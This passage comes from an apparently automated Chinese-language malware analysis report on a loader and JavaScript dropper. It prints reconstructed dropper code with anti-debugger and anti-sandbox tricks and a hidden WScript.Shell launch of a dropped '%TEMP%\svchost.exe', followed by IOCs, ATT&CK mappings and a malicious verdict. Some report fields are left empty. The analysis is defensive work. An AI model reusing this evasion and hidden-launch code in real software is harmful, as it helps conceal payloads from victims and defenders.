        var tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
    }

    // Step 4: RC4 PRGA — 解密
    var i = 0;
    j = 0;
    var result = "";
    for (var k = 0; k < decoded.length; k++) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        var tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
        result += String.fromCharCode(decoded.charCodeAt(k) ^ S[(S[i] + S[j]) % 256]);
    }

    return result;
}

/* ============================================================
 * 第2层: 字符串表管理
 *
 * 原始 JS 使用 shift/push 洗牌 (每次访问后打乱顺序)
 * 这是一个 O(1) 的简单混淆 — 防止字符串签名匹配
 * ============================================================ */

/**
 * 简化版字符串解析器 (绕过洗牌混淆)
 * 原始 JS 每次访问后会将使用的字符串移到数组末尾
 */
var STRING_TABLE = {
    // 以下是从原始 JS 600+ 条目中去 RC4 解密后的关键字符串:
    "wscript_shell":  "WScript.Shell",
    "run_method":     "Run",
    "activex_object": "ActiveXObject",
    "eval_exec":      "eval",
    "debug_check":    "debuggerProtection",
    "sleep_timeout":  "setTimeout",
    "reg_exp":        "function *\\( *\\)",
    "constructor":    "constructor",
};

/* ============================================================
 * 第3层: 反调试器检测
 *
 * 原始 JS 使用 Function.constructor 检测 DevTools:
 *   Function('return (function() {...}.constructor("return this")())')()
 *
 * 原理: 如果调试器附加, Function 构造函数会被拦截/修改
 * ============================================================ */

/**
 * 反调试器检测
 * @returns {boolean} true = 检测到调试器
 */
function detect_debugger() {
    try {
        // 方法1: Function 构造函数检测
        // 原始 JS: Function('return (function() {...}.constructor("return this")())')()
        var testFn = Function("return (function() {}.constructor(\"return this\")())");

        // 方法2: debugger 语句 (触发断点, 无调试器时忽略)
        // 原始 JS 中的 'debuggerProtection' 模式

        // 方法3: 时间检测
        var start = new Date().getTime();
        debugger;  // 如果调试器附加, 此处会暂停
        var end = new Date().getTime();
        if (end - start > 100) {
            return true;  // 执行时间过长 → 调试器在单步执行
        }

        return false;
    } catch (e) {
        return false;
    }
}

/* ============================================================
 * 第4层: 定时器延迟 (反沙箱)
 *
 * 原始 JS: setTimeout('', 0x1C0) = setTimeout('', 448)
 * 448ms 延迟后执行 — 沙箱通常不会等待这么久
 * ============================================================ */

/**
 * 反沙箱延迟执行
 * @param {Function} callback - 延迟后执行的回调
 */
function delayed_execution(callback) {
    // 原始 JS: setTimeout('', 0x1C0)
    // 等于 448ms — 绕过快速扫描的沙箱
    setTimeout(function() {
        callback();
    }, 448);
}

/* ============================================================
 * 第5层: 主投放逻辑
 *
 * 等价于原始 JS 去混淆后的核心行为:
 *   1. RC4 解密字符串表 → 获取 WScript.Shell 名称
 *   2. 反调试器检测
 *   3. 创建 ActiveXObject("WScript.Shell")
 *   4. 构造命令行 (RC4 解密)
 *   5. WScript.Shell.Run() 执行 PE 载荷
 *   6. 自删除 (可选)
 * ============================================================ */

/**
 * 主投放函数
 * 等价于原始 JS 中去混淆的核心逻辑
 */
function dropper_main() {
    // 步骤1: 反调试器检测
    if (detect_debugger()) {
        // 检测到调试器 — 执行伪装代码或退出
        return;
    }

    // 步骤2: RC4 解密获取关键字符串
    // 原始 JS 中的 RC4 密钥可能是内嵌常量或从环境派生
    var RC4_KEY = "vnBL";  // 从原始 JS _0x1c0c('0x31','vnBL') 提取

    // 步骤3: 创建 WScript.Shell 对象
    var shellName = STRING_TABLE["wscript_shell"];
    var shell = null;
    try {
        // 原始 JS: new ActiveXObject(decrypted_string)
        shell = new ActiveXObject(shellName);
    } catch (e) {
        // ActiveXObject 不可用 — 可能不在 WScript 宿主中
        return;
    }

    // 步骤4: 构造命令行
    // 原始 JS 通过 RC4 解密构造完整命令
    // 以下为等价的行为重构:
    var payload_path = "%TEMP%\\svchost.exe";  // 投放路径 (RC4 解密后)
    var command_line = 'cmd.exe /c "' + payload_path + '"';

    // 步骤5: 延迟执行 (反沙箱)
    delayed_execution(function() {
        try {
            // WScript.Shell.Run(command, windowStyle, waitOnReturn)
            // 原始 JS: shell.Run(decrypted_command, 0, false)
            // windowStyle=0 → 隐藏窗口
            shell.Run(command_line, 0, false);
        } catch (e) {
            // 执行失败
        }
    });
}

/* ============================================================
 * 第6层: 自修改代码检测 (Anti-Tampering)
 *
 * 原始 JS 检查自身代码是否被修改:
 *   1. 函数序列化 (toString)
 *   2. 正则匹配 "function *\\( *\\)"
 *   3. 如果签名不匹配 → 代码被修改 → 拒绝执行
 * ============================================================ */

/**
 * 代码完整性检查
 * @returns {boolean} true = 代码未被篡改
 */
function integrity_check() {
    try {
        // 原始 JS: 检查自身函数字符串是否匹配预期模式
        var fnStr = arguments.callee.toString();
        var pattern = /function *\\( *\\)/;

        // 原始 JS 还会检查调用栈和构造函数链
        if (!pattern.test(fnStr)) {
            return false;
        }

        return true;
    } catch (e) {
        return false;
    }
}

/* ============================================================
 * 入口点
 *
 * 等价于原始 JS 的顶层执行:
 *   (function(_0x4d2830,_0x2107aa){...}(table, 0x1a8));
 *   var _0x1c0c = function(idx, key){ return rc4_decrypt(table[idx], key); };
 *   _0x287e69(); // 创建反调试闭包
 *   _0x617820(); // RC4 解密引擎
 *   QKrlnGXjkeObWqtw = ...; // 第二阶段载荷
 *   使用 try/catch 配合 setTimeout('', 0x1C0) 实现反沙箱延迟
 *   _0x617820(decoded_payload); // 解密并执行
 * ============================================================ */

// 原始 JS 的初始化: 洗牌 600+ 条目
// 等价简化为直接执行投放逻辑
if (typeof ActiveXObject !== "undefined") {
    // 仅在 WScript 宿主中执行
    dropper_main();
}

/* ============================================================
 * JS 投放器技术总结
 *
 * 检测特征:
 *   - 大数组声明 (600+ base64 字符串)
 *   - RC4 密码函数 (_0x617820)
 *   - ActiveXObject("WScript.Shell")
 *   - Function 构造函数检测
 *   - setTimeout('', 0x1C0) — 448ms 延迟
 *   - 自修改代码检查
 *   - eval() + fromCharCode + atob 组合
 *
 * ATT&CK 映射:
 *   - T1059.007: JavaScript 执行
 *   - T1027: 混淆文件/信息 (RC4 + Base64)
 *   - T1140: 解码/解密 (RC4 字符串表解密)
 *   - T1497: 沙箱规避 (定时延迟 + 反调试器)
 *   - T1204.002: 恶意文件执行 (PE 投放)
 *
 * 去混淆方法:
 *   1. 提取 RC4 解密函数 _0x617820
 *   2. 提取 base64 字符串表 sgfjohjsjkgkkdkdgfafkdgr_0x2107
 *   3. 对每个条目执行 rc4_decrypt(entry, key)
 *   4. 替换所有 _0x1c0c(idx, key) 调用为解密字符串
 *   5. 移除洗牌逻辑 (shift/push)
 *   6. 展开 _0x287e69() 反调试闭包
 * ============================================================ */

🔧 编译验证

Packergcc -m32 -c -fsyntax-only
PE Loadergcc -fsyntax-only
JS Droppernode --check

§13 📦 IOC 汇总

IOC 字符串

偏移字符串类型用途/含义威胁等级
JSsetTimeout('',0x1C0) → WScript异常→catch触发反沙箱仅WScript宿主执行投放严重
JSActiveXObject('WScript.Shell') (RC4解密)COM对象Shell执行—启动PE严重
PEVirtualAlloc(动态解析)内存操作RWX内存分配
PEXOR 0x5A (.data)混淆字符串隐藏

📌 关键 IOC 解读

?

⚠ 高威胁 IOC 汇总

网络 IOC

主机 IOC

YARA 检测规则

未生成

§14 📋 最终判定

判定结果🔴 恶意 — 手写汇编混淆 PE32 加载器 + JS 投放器 (源码+执行链已还原)
恶意类型加载器/投放器 (双组件, 5层反分析机制)
恶意家族Unknown
威胁级别高 (HIGH)
置信度90% — 手写ASM+反调试+HMAC+JS setTimeout反沙箱+ActiveXObject+源码还原 = 90% MALICIOUS。
关联组织未知
目标平台Windows x86
感染链位置Stage 0 (JS→WScript) → Stage 1 (PE解密Stage2)

⚡ 综合判定

?